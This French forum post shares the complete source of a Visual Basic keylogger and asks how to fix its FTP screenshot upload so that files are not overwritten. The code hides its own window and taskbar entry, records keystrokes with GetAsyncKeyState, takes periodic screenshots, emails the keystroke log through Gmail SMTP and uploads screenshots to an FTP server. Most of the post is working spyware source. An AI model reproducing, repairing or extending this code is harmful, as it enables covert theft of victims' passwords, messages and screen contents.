VB problem avec UploadFile

salut salut tout le monde
j'ai fait un petit keylogger avec VB 2013 histoire de me faire la main ayant pas trouvé une solution pour pour envoyer les captures d'écran par mail.
j'ai opté pour la solution FTP et j'ai utilisé se code

Code:

My.Computer.Network.UploadFile("D:\Downloads\capture.bmp", "ftp://user1@ftp.somedomain.com/capture.bmp", "user1", "pass1", True, 500, FileIO.UICancelOption.DoNothing)

tu marche impeccablement jusqu'à quand j'ai essayé d'uploader une autre capture je suppose que la solution est renommer le fichier capture mais pour être honnête je me perds un peu :mouarf:
voila le code complet du keylogger

Code:

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Option Strict On
Imports System.Net.Mail
Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
    Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
        Try
            Dim smtpserver As New SmtpClient
            smtpserver.EnableSsl = True
            smtpserver.Credentials = New Net.NetworkCredential("mymail@gmail.com", "pass")
            smtpserver.Port = 587
            smtpserver.Host = "smtp.gmail.com"
 
            Dim mail As New MailMessage
            mail = New MailMessage
            mail.From = New MailAddress("mymail@gmail.com", "moi")
            mail.To.Add("mymail@gmail.com")
            mail.Subject = ("New Key Log Data")
            mail.Body = txtLogs.Text
            smtpserver.Send(mail)
 
        Catch ex As Exception
            Me.Close()
        End Try
    End Sub
 
    Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer
 
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
 
            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For
            End If
        Next i
 
        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                txtLogs.Text &= key
            Else
                txtLogs.Text &= key.ToLower
            End If
        End If
 
        If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
            Me.Visible = True
        End If
    End Sub
 
 
    Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
        txtLogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
    End Sub
 
 
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Me.Visible = False
        txtLogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
    End Sub
 
    Private Sub txtLogs_TextChanged(sender As Object, e As EventArgs) Handles txtLogs.TextChanged
 
    End Sub
 
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Dim bounds As Rectangle
        Dim screenshot As System.Drawing.Bitmap
        Dim graph As Graphics
        bounds = Screen.PrimaryScreen.Bounds
        screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
        graph = Graphics.FromImage(screenshot)
        graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
        PictureBox1.Image = screenshot
    End Sub
 
    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
        If (Me.PictureBox1.Image IsNot Nothing) Then
            Me.PictureBox1.Image.Save("E:\\capture.bmp")
        End If
    End Sub
 
    Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
        My.Computer.Network.UploadFile("E:\capture.bmp", "ftp://user1@ftp.somedomain.com/capture.bmp", "user1", "pass1", True, 500, FileIO.UICancelOption.DoNothing)
    End Sub
End Class